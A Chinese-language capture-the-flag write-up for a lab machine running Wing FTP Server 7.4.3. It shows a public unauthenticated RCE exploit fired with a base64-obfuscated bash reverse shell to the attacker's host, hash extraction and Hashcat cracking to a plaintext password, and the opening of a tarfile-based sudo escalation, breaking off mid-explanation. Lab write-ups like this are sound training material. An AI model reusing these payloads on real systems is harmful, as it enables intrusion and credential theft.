かわいた木枯らし そよそよと 干冷秋风 徐徐拂过 かわいた木の葉は ひらひらと 枯黄落叶 翩翩舞落 相見える日を 待ちながら 静待相逢之日 刻を数え歩く 计数日月行过时间
靶机ip:10.129.118.31
难度:简单/中等
涉及内容:端口扫描与服务枚举 :使用 RustScan 快速确定开放端口,并结合 Gobuster 进行子域名/虚拟主机爆破 。
Web 漏洞利用 :针对特定版本的 Wing FTP Server (v7.4.3) 利用未授权远程代码执行(RCE)漏洞 。
凭据提取与破解 :分析 XML 配置文件以获取加盐(Salted)的哈希值,并使用 Hashcat 配合 rockyou.txt 字典进行离线破解 。
高级权限提升 :利用 Python tarfile 模块在处理超长路径时的逻辑缺陷(CVE-2025-4517)绕过安全过滤器,实现任意文件写入 。
端口扫描:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(root㉿kaada)-[/home/kali/Desktop] └─# ./rustscan -a 10.129.118.31 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. __ _____ _____ _____ _____ _____ _____ _____ ___: http://discord.skerritt.blog :: https://github.com/RustScan/RustScan : -------------------------------------- Scanning ports like it's my full-time job. Wait, it is. [~] The config file is expected to be at "/root/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000' . Open 10.129.118.31:22 Open 10.129.118.31:80
直接访问ip提示我们把域名加上,那就gobuster顺便做个子域名爆破。
爆破出了ftp.wingdata.htb,都给加上去。
1 10.129.118.31 wingdata.htb ftp.wingdata.htb
底下泄露了服务及版本,查一下有相关exp可以利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(root㉿kaada)-[/home/kali/Desktop] └─# searchsploit " Wing FTP Server" Exploit Title | Path Wing FTP Server - (Authenticated) Command Execution (Metasploit) | windows/remote/34517. rb Wing FTP Server - Authenticated CSRF (Delete Admin ) | php/webapps/48200. txt Wing FTP Server 3.2 .4 - Cross -Site Request Forgery | multiple/webapps/10821. txt Wing FTP Server 4.3 .8 - Remote Code Execution (RCE) (Authenticated) | windows/remote/50720. py Wing FTP Server 6.0 .7 - Unquoted Service Path | windows/local /47818. txt Wing FTP Server 6.2 .3 - Privilege Escalation | windows/local /48160. py Wing FTP Server 6.2 .5 - Privilege Escalation | multiple/webapps/48154. sh Wing FTP Server 6.3 .8 - Remote Code Execution (Authenticated) | lua/webapps/48676. txt Wing FTP Server 7.4 .3 - Unauthenticated Remote Code Execution (RCE) | multiple/remote/52347. py Wing FTP Server Admin 4.4 .5 - Cross -Site Request Forgery (Add User ) | php/webapps/36992. txt Wing FTP Server Admin 4.4 .5 - Multiple Vulnerabilities | windows/webapps/36861. txt Shellcodes: No Results
刚好有一个对的上的,直接使用它拿shell。
1 2 3 4 5 ┌──(root㉿kaada)-[/home/kali/Desktop ] └─# python3 52347. py usage: 52347. py [-h] [-u URL ] [-f FILE ] [-c COMMAND ] [-v] [-o OUTPUT ] [-U USERNAME ]52347. py: error: Either -u/--url or -f/--file must be specified.
1 2 3 4 5 6 7 8 9 10 11 12 ┌──(root㉿kaada)-[/home/kali/Desktop] └─# python3 52347.py -u "http://ftp.wingdata.htb/" -c "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvNDQ0NCAwPiYxKSAm|base64 -d|bash" [*] Testing target: http://ftp.wingdata.htb/ [+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command : 'printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvNDQ0NCAwPiYxKSAm|base64 -d|bash' and username: 'anonymous' [+] UID extracted: 51348e27c10793e4637f2bd26bcf4f05f528764d624db129b32c21fbca0cb8d6 [+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: 51348e27c10793e4637f2bd26bcf4f05f528764d624db129b32c21fbca0cb8d6 --- Command Output --- ----------------------
1 2 3 4 5 6 7 8 9 10 ──────────────────────────────────────────────────────────────────────────────── ➤ 🏠 Main Menu (m) 💀 Payloads (p ) 🔄 Clear (Ctrl-L) 🚫 Quit (q /Ctrl-C)[+] Got reverse shell from wingdata-10.129 .118.31 -Linux-x86_64 😍 Assigned SessionID <1 >[+] Attempting to upgrade shell to PTY...[+] Shell upgraded successfully using /usr/local/bin/python3! 💪[+] Interacting with session [1] , Shell Type: PTY, Menu key: F12 [+] Logging to /root/.penelope/wingdata~10.129 .118.31 _Linux_x86_64/2026 _02_15-01 _47_49-913 .log 📜 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── wingftp@wingdata:/opt/wftpserver$
之后信息收集一波,发现了user以及密码
注意这里的密码是加盐过的,盐值可以在一个xml文件里找到。
1 2 3 4 wingftp@wingdata :/opt/wftpserver $ ls /home wacky wingftp@wingdata :/opt/wftpserver $
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 wingftp@wingdata:/opt/wftpserver/Data/1$ cat settings.xml <?xml version="1.0" ?> <DOMAIN_OPTION Description ="Wing FTP Server Domain settings" > <Domain_Max_Session > 0</Domain_Max_Session > <Domain_Per_Ip_Max_Session > 0</Domain_Per_Ip_Max_Session > <Per_Session_Max_Download_Speed > 0</Per_Session_Max_Download_Speed > <Per_Session_Max_Upload_Speed > 0</Per_Session_Max_Upload_Speed > <Domain_Max_Download_Speed > 0</Domain_Max_Download_Speed > <Domain_Max_Upload_Speed > 0</Domain_Max_Upload_Speed > <Per_User_Max_Download_Speed > 0</Per_User_Max_Download_Speed > <Per_User_Max_Upload_Speed > 0</Per_User_Max_Upload_Speed > <Passive_Type > 0</Passive_Type > <Pasv_Ip_Refresh_Interval > 60</Pasv_Ip_Refresh_Interval > <Fixed_Ip > </Fixed_Ip > <Web_Ip > http://ip.wftpserver.com/w/getIP.php</Web_Ip > <DNS_Ip > </DNS_Ip > <Enable_UPnP_For_Passive_Ports > 0</Enable_UPnP_For_Passive_Ports > <Min_Passive_Port > 1024</Min_Passive_Port > <Max_Passive_Port > 1124</Max_Passive_Port > <Transfer_Buffer_Size > 65535</Transfer_Buffer_Size > <Userdata_Access_Style > 1</Userdata_Access_Style > <MYSQL_Address > localhost</MYSQL_Address > <MYSQL_Port > 3306</MYSQL_Port > <MYSQL_Username > root</MYSQL_Username > <MYSQL_Password > </MYSQL_Password > <MYSQL_DatabaseName > wftp_database</MYSQL_DatabaseName > <MYSQL_UnixSocket > </MYSQL_UnixSocket > <ODBC_DSN_Address > </ODBC_DSN_Address > <ODBC_DSN_Username > </ODBC_DSN_Username > <ODBC_DSN_Password > </ODBC_DSN_Password > <Enable_Mode_Z_support > 0</Enable_Mode_Z_support > <Default_Compression_level > 8</Default_Compression_level > <Min_Compression_level > 1</Min_Compression_level > <Max_Compression_level > 9</Max_Compression_level > <Enable_SFV_Check > 0</Enable_SFV_Check > <SFV_Check_Create_Missing > 0</SFV_Check_Create_Missing > <SFV_Check_Bad_File > 0</SFV_Check_Bad_File > <SFV_Check_Create_Progress > 0</SFV_Check_Create_Progress > <SFV_Check_Send_Result > 0</SFV_Check_Send_Result > <Anti_Hammer_Enable > 1</Anti_Hammer_Enable > <Anti_Hammer_Block_Time > 180</Anti_Hammer_Block_Time > <Anti_Hammer_Login_Failed_Counts > 10</Anti_Hammer_Login_Failed_Counts > <Anti_Hammer_Interval > 90</Anti_Hammer_Interval > <Anti_Hammer_Send_Message > 0</Anti_Hammer_Send_Message > <SSL_Name > wftp_default_ssl</SSL_Name > <SSH_Name > wftp_default_ssh</SSH_Name > <SSH_Use_UTF8 > 1</SSH_Use_UTF8 > <SMTP_Name > </SMTP_Name > <Enable_FXP > 0</Enable_FXP > <Enable_WebLink > 0</Enable_WebLink > <Enable_Logfile > 1</Enable_Logfile > <Logfile_Name > %Y-%M-%D.log</Logfile_Name > <Logfile_Maxsize > 512000</Logfile_Maxsize > <Message_Log_File_Enable > 1</Message_Log_File_Enable > <Message_Log_Scrn_Enable > 1</Message_Log_Scrn_Enable > <Security_Log_File_Enable > 1</Security_Log_File_Enable > <Security_Log_Scrn_Enable > 1</Security_Log_Scrn_Enable > <FTP_Command_Log_File_Enable > 1</FTP_Command_Log_File_Enable > <FTP_Command_Log_Scrn_Enable > 1</FTP_Command_Log_Scrn_Enable > <FTP_Response_Log_File_Enable > 1</FTP_Response_Log_File_Enable > <FTP_Response_Log_Scrn_Enable > 1</FTP_Response_Log_Scrn_Enable > <WEB_Command_Log_File_Enable > 1</WEB_Command_Log_File_Enable > <WEB_Command_Log_Scrn_Enable > 1</WEB_Command_Log_Scrn_Enable > <WEB_Response_Log_File_Enable > 1</WEB_Response_Log_File_Enable > <WEB_Response_Log_Scrn_Enable > 1</WEB_Response_Log_Scrn_Enable > <SSH_Command_Log_File_Enable > 1</SSH_Command_Log_File_Enable > <SSH_Command_Log_Scrn_Enable > 1</SSH_Command_Log_Scrn_Enable > <SSH_Response_Log_File_Enable > 1</SSH_Response_Log_File_Enable > <SSH_Response_Log_Scrn_Enable > 1</SSH_Response_Log_Scrn_Enable > <ODBC_Error_Log_File_Enable > 1</ODBC_Error_Log_File_Enable > <ODBC_Error_Log_Scrn_Enable > 1</ODBC_Error_Log_Scrn_Enable > <MYSQL_Error_Log_File_Enable > 1</MYSQL_Error_Log_File_Enable > <MYSQL_Error_Log_Scrn_Enable > 1</MYSQL_Error_Log_Scrn_Enable > <LUA_Error_Log_File_Enable > 1</LUA_Error_Log_File_Enable > <LUA_Error_Log_Scrn_Enable > 1</LUA_Error_Log_Scrn_Enable > <Mail_Error_Log_File_Enable > 1</Mail_Error_Log_File_Enable > <Mail_Error_Log_Scrn_Enable > 1</Mail_Error_Log_Scrn_Enable > <File_Error_Log_File_Enable > 1</File_Error_Log_File_Enable > <File_Error_Log_Scrn_Enable > 1</File_Error_Log_Scrn_Enable > <Normal_Error_Log_File_Enable > 1</Normal_Error_Log_File_Enable > <Normal_Error_Log_Scrn_Enable > 1</Normal_Error_Log_Scrn_Enable > <Message_Welcome > %ServerName ready...</Message_Welcome > <Message_Login > User %Name logged in.</Message_Login > <Message_Change_Dir > CWD command ok. " %Dir" is current directory.</Message_Change_Dir > <Message_Dir_List > Transfer ok.</Message_Dir_List > <Message_File_Upload > File received ok. Transferred:%ConTransferBytes;Average speed is:%ConTransferSpeedKBS</Message_File_Upload > <Message_File_Download > File sent ok. Transferred:%ConTransferBytes;Average speed is:%ConTransferSpeedKBS</Message_File_Download > <Message_System_Command > UNIX Type: L8</Message_System_Command > <Message_Quit_Command > Goodbye.</Message_Quit_Command > <Enable_UPnP_For_Listener_Ports > 0</Enable_UPnP_For_Listener_Ports > <Max_Number_Sessions_Per_User_Account > 0</Max_Number_Sessions_Per_User_Account > <Max_Sessions_Per_Ip_For_User_Account > 0</Max_Sessions_Per_Ip_For_User_Account > <Command_Timeout_Min > 5</Command_Timeout_Min > <Enable_Domain_Logo > 0</Enable_Domain_Logo > <Transfer_Timeout_Minutes > 5</Transfer_Timeout_Minutes > <ADUser_Enable > 0</ADUser_Enable > <ADUser_Domain > </ADUser_Domain > <ADUser_Directory > </ADUser_Directory > <ADUser_Enable_OwnDir > 0</ADUser_Enable_OwnDir > <ADUser_Enable_FileRead > 1</ADUser_Enable_FileRead > <ADUser_Enable_FileWrite > 0</ADUser_Enable_FileWrite > <ADUser_Enable_FileAppend > 0</ADUser_Enable_FileAppend > <ADUser_Enable_FileDelete > 0</ADUser_Enable_FileDelete > <ADUser_Enable_DirRename > 0</ADUser_Enable_DirRename > <ADUser_Enable_DirList > 1</ADUser_Enable_DirList > <ADUser_Enable_DirCreate > 0</ADUser_Enable_DirCreate > <ADUser_Enable_DirDelete > 0</ADUser_Enable_DirDelete > <ADUser_Enable_FileRename > 0</ADUser_Enable_FileRename > <ADUser_Enable_ZipFile > 0</ADUser_Enable_ZipFile > <ADUser_Enable_UnzipFile > 0</ADUser_Enable_UnzipFile > <ADUser_User_Mapping > ADUser001:LocalUser001
 ADUser002:LocalUser002</ADUser_User_Mapping > <LDAP_Enable > 0</LDAP_Enable > <LDAP_Host > localhost</LDAP_Host > <LDAP_Port > 389</LDAP_Port > <LDAP_UseSSL > 0</LDAP_UseSSL > <LDAP_BindDN > </LDAP_BindDN > <LDAP_BindPass > </LDAP_BindPass > <LDAP_BaseDN > </LDAP_BaseDN > <LDAP_Filter > (& (objectClass=posixAccount)(uid=%s))</LDAP_Filter > <LDAP_Directory > </LDAP_Directory > <LDAP_Enable_OwnDir > 0</LDAP_Enable_OwnDir > <LDAP_Enable_FileRead > 1</LDAP_Enable_FileRead > <LDAP_Enable_FileWrite > 0</LDAP_Enable_FileWrite > <LDAP_Enable_FileAppend > 0</LDAP_Enable_FileAppend > <LDAP_Enable_FileDelete > 0</LDAP_Enable_FileDelete > <LDAP_Enable_DirRename > 0</LDAP_Enable_DirRename > <LDAP_Enable_DirList > 1</LDAP_Enable_DirList > <LDAP_Enable_DirCreate > 0</LDAP_Enable_DirCreate > <LDAP_Enable_DirDelete > 0</LDAP_Enable_DirDelete > <LDAP_Enable_FileRename > 0</LDAP_Enable_FileRename > <LDAP_Enable_ZipFile > 0</LDAP_Enable_ZipFile > <LDAP_Enable_UnzipFile > 0</LDAP_Enable_UnzipFile > <LDAP_User_Mapping > LDAPUser001:LocalUser001
 LDAPUser002:LocalUser002</LDAP_User_Mapping > <LDAP_Group_Mapping > CN=ADGroup1,CN=Builtin,DC=wftpserver,DC=com:LocalUser1
 CN=ADGroup2,CN=Builtin,DC=wftpserver,DC=com:LocalUser2</LDAP_Group_Mapping > <LDAP_Version > 3</LDAP_Version > <LDAP_Dir_Lowercase > 0</LDAP_Dir_Lowercase > <WebLink_Speed > 0</WebLink_Speed > <LIST_TIME_GMT > 1</LIST_TIME_GMT > <Logfile_Compress > 1</Logfile_Compress > <Enable_UTF8_ON > 1</Enable_UTF8_ON > <Enable_AUTH_ON > 1</Enable_AUTH_ON > <Use_LANIP_For_LAN_Client_Passive > 1</Use_LANIP_For_LAN_Client_Passive > <Min_Password_Length > 0</Min_Password_Length > <Password_Have_Numerals > 0</Password_Have_Numerals > <Password_Have_Lowercase > 0</Password_Have_Lowercase > <Password_Have_Uppercase > 0</Password_Have_Uppercase > <Password_Have_Nonalphanumeric > 0</Password_Have_Nonalphanumeric > <Enable_NTFS_Permission > 0</Enable_NTFS_Permission > <EnableSHA256 > 1</EnableSHA256 > <Enable_HTTPS_Redirect > 0</Enable_HTTPS_Redirect > <HTTPS_Redirect_Port > 443</HTTPS_Redirect_Port > <Change_Password_Firstlogon > 0</Change_Password_Firstlogon > <Enable_UploadLink > 0</Enable_UploadLink > <UploadLink_Speed > 0</UploadLink_Speed > <Additional_HTTP_Headers > </Additional_HTTP_Headers > <Allow_Passive_Active_Mode > 2</Allow_Passive_Active_Mode > <Passive_Listener_Timeout > 30</Passive_Listener_Timeout > <Auto_Passive_Port_Forward > 0</Auto_Passive_Port_Forward > <MYSQL_Set_UTF8 > 1</MYSQL_Set_UTF8 > <Enable_Domain > 1</Enable_Domain > <Auto_Active_Port_Forward > 0</Auto_Active_Port_Forward > <Weblink_URL > </Weblink_URL > <Enable_Symbolic_Link > 0</Enable_Symbolic_Link > <Enable_Welcome_Message > 0</Enable_Welcome_Message > <Welcome_Message > </Welcome_Message > <Keep_Old_Weblink > 0</Keep_Old_Weblink > <Uplink_Overwrite_File > 0</Uplink_Overwrite_File > <SSH_Banner > WingFTPServer</SSH_Banner > <HTTP_KeepAlive > 1</HTTP_KeepAlive > <Enable_Weblink_Subfolder > 0</Enable_Weblink_Subfolder > <TLS_Session_Timeout > 3600</TLS_Session_Timeout > <EnablePasswordSalting > 1</EnablePasswordSalting > <SaltingString > WingFTP</SaltingString > <Enable_Log_Millisecond > 0</Enable_Log_Millisecond > <LDAP_Mapping_CaseInsensitive > 0</LDAP_Mapping_CaseInsensitive > <LDAP_Timeout > 10</LDAP_Timeout > <Keep_Anonymous_Weblink > 0</Keep_Anonymous_Weblink > <Transfer_Limit > <Transfer_Limit_Enable > 0</Transfer_Limit_Enable > <Transfer_Limit_Reset > 0</Transfer_Limit_Reset > <Transfer_Limit_Reset_Time > 0</Transfer_Limit_Reset_Time > <Enable_Upload_Limit_Never > 0</Enable_Upload_Limit_Never > <Current_Upload_Size_Never > 0</Current_Upload_Size_Never > <Max_Upload_Size_Never > 0</Max_Upload_Size_Never > <Enable_Download_Limit_Never > 0</Enable_Download_Limit_Never > <Current_Download_Size_Never > 0</Current_Download_Size_Never > <Max_Download_Size_Never > 0</Max_Download_Size_Never > <Enable_Upload_Limit_Hourly > 0</Enable_Upload_Limit_Hourly > <Current_Upload_Size_Hourly > 0</Current_Upload_Size_Hourly > <Max_Upload_Size_Hourly > 0</Max_Upload_Size_Hourly > <Enable_Download_Limit_Hourly > 0</Enable_Download_Limit_Hourly > <Current_Download_Size_Hourly > 0</Current_Download_Size_Hourly > <Max_Download_Size_Hourly > 0</Max_Download_Size_Hourly > <Enable_Upload_Limit_Daily > 0</Enable_Upload_Limit_Daily > <Current_Upload_Size_Daily > 0</Current_Upload_Size_Daily > <Max_Upload_Size_Daily > 0</Max_Upload_Size_Daily > <Enable_Download_Limit_Daily > 0</Enable_Download_Limit_Daily > <Current_Download_Size_Daily > 0</Current_Download_Size_Daily > <Max_Download_Size_Daily > 0</Max_Download_Size_Daily > <Enable_Upload_Limit_Weekly > 0</Enable_Upload_Limit_Weekly > <Current_Upload_Size_Weekly > 0</Current_Upload_Size_Weekly > <Max_Upload_Size_Weekly > 0</Max_Upload_Size_Weekly > <Enable_Download_Limit_Weekly > 0</Enable_Download_Limit_Weekly > <Current_Download_Size_Weekly > 0</Current_Download_Size_Weekly > <Max_Download_Size_Weekly > 0</Max_Download_Size_Weekly > <Enable_Upload_Limit_Monthly > 0</Enable_Upload_Limit_Monthly > <Current_Upload_Size_Monthly > 0</Current_Upload_Size_Monthly > <Max_Upload_Size_Monthly > 0</Max_Upload_Size_Monthly > <Enable_Download_Limit_Monthly > 0</Enable_Download_Limit_Monthly > <Current_Download_Size_Monthly > 0</Current_Download_Size_Monthly > <Max_Download_Size_Monthly > 0</Max_Download_Size_Monthly > </Transfer_Limit > </DOMAIN_OPTION > wingftp@wingdata:/opt/wftpserver/Data/1$
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 wingftp@wingdata:/opt/wftpserver/Data/1/users$ cat wacky.xml <?xml version="1.0" ?> <USER_ACCOUNTS Description ="Wing FTP Server User Accounts" > <USER > <UserName > wacky</UserName > <EnableAccount > 1</EnableAccount > <EnablePassword > 1</EnablePassword > <Password > 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password > <ProtocolType > 63</ProtocolType > <EnableExpire > 0</EnableExpire > <ExpireTime > 2025-12-02 12:02:46</ExpireTime > <MaxDownloadSpeedPerSession > 0</MaxDownloadSpeedPerSession > <MaxUploadSpeedPerSession > 0</MaxUploadSpeedPerSession > <MaxDownloadSpeedPerUser > 0</MaxDownloadSpeedPerUser > <MaxUploadSpeedPerUser > 0</MaxUploadSpeedPerUser > <SessionNoCommandTimeOut > 5</SessionNoCommandTimeOut > <SessionNoTransferTimeOut > 5</SessionNoTransferTimeOut > <MaxConnection > 0</MaxConnection > <ConnectionPerIp > 0</ConnectionPerIp > <PasswordLength > 0</PasswordLength > <ShowHiddenFile > 0</ShowHiddenFile > <CanChangePassword > 0</CanChangePassword > <CanSendMessageToServer > 0</CanSendMessageToServer > <EnableSSHPublicKeyAuth > 0</EnableSSHPublicKeyAuth > <SSHPublicKeyPath > </SSHPublicKeyPath > <SSHAuthMethod > 0</SSHAuthMethod > <EnableWeblink > 1</EnableWeblink > <EnableUplink > 1</EnableUplink > <EnableTwoFactor > 0</EnableTwoFactor > <TwoFactorCode > </TwoFactorCode > <ExtraInfo > </ExtraInfo > <CurrentCredit > 0</CurrentCredit > <RatioDownload > 1</RatioDownload > <RatioUpload > 1</RatioUpload > <RatioCountMethod > 0</RatioCountMethod > <EnableRatio > 0</EnableRatio > <MaxQuota > 0</MaxQuota > <CurrentQuota > 0</CurrentQuota > <EnableQuota > 0</EnableQuota > <NotesName > </NotesName > <NotesAddress > </NotesAddress > <NotesZipCode > </NotesZipCode > <NotesPhone > </NotesPhone > <NotesFax > </NotesFax > <NotesEmail > </NotesEmail > <NotesMemo > </NotesMemo > <EnableUploadLimit > 0</EnableUploadLimit > <CurLimitUploadSize > 0</CurLimitUploadSize > <MaxLimitUploadSize > 0</MaxLimitUploadSize > <EnableDownloadLimit > 0</EnableDownloadLimit > <CurLimitDownloadLimit > 0</CurLimitDownloadLimit > <MaxLimitDownloadLimit > 0</MaxLimitDownloadLimit > <LimitResetType > 0</LimitResetType > <LimitResetTime > 1762103089</LimitResetTime > <TotalReceivedBytes > 0</TotalReceivedBytes > <TotalSentBytes > 0</TotalSentBytes > <LoginCount > 2</LoginCount > <FileDownload > 0</FileDownload > <FileUpload > 0</FileUpload > <FailedDownload > 0</FailedDownload > <FailedUpload > 0</FailedUpload > <LastLoginIp > 127.0.0.1</LastLoginIp > <LastLoginTime > 2025-11-02 12:28:52</LastLoginTime > <EnableSchedule > 0</EnableSchedule > </USER > </USER_ACCOUNTS > wingftp@wingdata:/opt/wftpserver/Data/1/users$
盐值是WingFTP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 ┌──(root㉿kaada)-[/home/kali/Desktop] └─# hashcat -m 1410 -a 0 wacky_hash.txt /usr/share/wordlists/rockyou.txt hashcat (v7.1.2) starting OpenCL API (OpenCL 3.0 PoCL 6.0 +debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1 .8 , SLEEF, DISTRO, POCL_DEBUG) - Platform ==================================================================================================================================================== * Device Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimum salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5 /13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Early-Skip * Not-Iterated * Single-Hash * Single-Salt * Raw-Hash ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Host memory allocated for this attack: 513 MB (4957 MB free) Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5 Session..........: hashcat Status...........: Cracked Hash.Mode........: 1410 (sha256($pass.$salt)) Hash.Target......: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b87...ingFTP Time.Started.....: Sat Feb 14 22 :49:50 2026 (3 secs) Time.Estimated...: Sat Feb 14 22 :49:53 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0 -256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1 /1 (100.00%) Speed.#01........: 4512.9 kH/s (0.26ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1 /1 (100.00%) Digests (total), 1 /1 (100.00%) Digests (new) Progress.........: 14344192 /14344385 (100.00%) Rejected.........: 0 /14344192 (0.00%) Restore.Point....: 14340096 /14344385 (99.97%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#01...: !carolyn -> ladykitz Hardware.Mon.#01.: Util: 43 % Started: Sat Feb 14 22 :49:50 2026 Stopped: Sat Feb 14 22 :49:55 2026
拿到了密码!#7Blushing^*Bride5
接下来以wacky的身份登录。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ┌──(root㉿kaada)-[/home/kali/Desktop] └─# ssh wacky@10.129 .168.131 The authenticity of host ED25519 key fingerprint is : SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8 M9tU+6 pQhjBG3a4w This host key is known by the following other names/addresses: ~/.ssh/known_hosts:169 : [hashed name] ~/.ssh/known_hosts:172 : [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added wacky@10.129 .168.131 Linux wingdata 6.1 .0 -42 -amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1 .159 -1 (2025 -12 -30 ) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Feb 15 01 :55 :03 2026 from 10.10 .14.19 wacky@wingdata:~$
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 wacky@wingdata:~$ sudo -l Matching Defaults entries for wacky on wingdata: env_reset, mail_badpass, secure_path=/usr/ local/sbin\:/u sr/local/ bin\:/usr/ sbin\:/usr/ bin\:/sbin\:/ bin, use_pty User wacky may run the following commands on wingdata: (root) NOPASSWD: /usr/ local/bin/ python3 /opt/ backup_clients/restore_backup_clients.py * wacky@wingdata:~$ cat /opt/ backup_clients/restore_backup_clients.py import tarfile import os import sys import re import argparse BACKUP_BASE_DIR = "/opt/backup_clients/backups" STAGING_BASE = "/opt/backup_clients/restored_backups" def validate_backup_name(filename): if not re.fullmatch(r"^backup_\d+\.tar$" , filename): return False client_id = filename.split('_' )[1 ].rstrip('.tar' ) return client_id.isdigit() and client_id != "0" def validate_restore_tag(tag): return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$" , tag)) def main(): parser = argparse.ArgumentParser( description="Restore client configuration from a validated backup tarball." , epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john" ) parser.add_argument( "-b" , "--backup" , required=True, help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, " "where <client_id> is a positive integer, e.g., backup_1001.tar)" ) parser.add_argument( "-r" , "--restore-dir" , required=True, help="Staging directory name for the restore operation. " "Must follow the format: restore_<client_user> (e.g., restore_john). " "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)." ) args = parser.parse_args() if not validate_backup_name(args.backup): print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)" , file=sys.stderr) sys.exit (1 ) backup_path = os.path.join(BACKUP_BASE_DIR, args.backup) if not os.path.isfile(backup_path): print(f"[!] Backup file not found: {backup_path}" , file=sys.stderr) sys.exit (1 ) if not args.restore_dir.startswith("restore_" ): print("[!] --restore-dir must start with 'restore_'" , file=sys.stderr) sys.exit (1 ) tag = args.restore_dir[8 :] if not tag: print("[!] --restore-dir must include a non-empty tag after 'restore_'" , file=sys.stderr) sys.exit (1 ) if not validate_restore_tag(tag): print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores" , file=sys.stderr) sys.exit (1 ) staging_dir = os.path.join(STAGING_BASE, args.restore_dir) print(f"[+] Backup: {args.backup}" ) print(f"[+] Staging directory: {staging_dir}" ) os.makedirs(staging_dir, exist_ok=True) try: with tarfile.open(backup_path, "r" ) as tar: tar.extractall(path=staging_dir, filter="data" ) print(f"[+] Extraction completed in {staging_dir}" ) except (tarfile.TarError, OSError, Exception) as e: print(f"[!] Error during extraction: {e}" , file=sys.stderr) sys.exit (2 )if __name__ == "__main__" : main() wacky@wingdata:~$
利用这个脚本可以实现任意文件写入
Python 的 tarfile 模块在启用 filter="data" 时,会调用类似 os.path.realpath() 的函数来解析归档文件中的路径和软链接(Symlink),以确保解压出来的文件路径不会“逃逸”出目标解压目录。
